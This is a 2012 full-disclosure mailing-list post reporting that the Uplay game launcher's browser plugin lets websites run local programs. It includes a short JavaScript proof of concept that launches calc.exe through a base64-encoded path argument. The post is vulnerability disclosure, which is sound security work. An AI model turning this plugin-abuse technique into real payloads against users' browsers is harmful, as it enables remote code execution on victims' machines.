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Message-ID: <mpro.m7xylx0bi2rio0nsi.taviso@cmpxchg8b.com>
Date: Sun, 29 Jul 2012 23:34:45 +0200
From: Tavis Ormandy <taviso@...xchg8b.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Re: AxMan ActiveX fuzzing <== Memory Corruption
PoC
kaveh ghaemmaghami <kavehghaemmaghami@...glemail.com> wrote:
> Exploit Title: AxMan ActiveX fuzzing <== Memory Corruption PoC Crash :
<snip nonsense>
Your silly post reminded me of something, while on vacation recently I
bought a video game called "Assassin's Creed Revelations". I didn't have
much of a chance to play it, but it seems fun so far. However, I noticed the
installation procedure creates a browser plugin for it's accompanying uplay
launcher, which grants unexpectedly (at least to me) wide access to
websites.
I don't know if it's by design, but I thought I'd mention it here in case
someone else wants to look into it (I'm not really interested in video game
security, I air-gap the machine I use to play games). A few minutes in IDA
suggests this might work (untested):
x = document.createElement('OBJECT');
x.type = "application/x-uplaypc";
document.body.appendChild(x);
x.open("-orbit_product_id 1 -orbit_exe_path
QzpcV0lORE9XU1xTWVNURU0zMlxDQUxDLkVYRQ== -uplay_steam_mode -uplay_dev_mode
-uplay_dev_mode_auto_play")
$ printf "C:\\WINDOWS\\SYSTEM32\\CALC.EXE" | base64
QzpcV0lORE9XU1xTWVNURU0zMlxDQUxDLkVYRQ==
If someone wants to investigate further, please feel free to do so.
Tavis.
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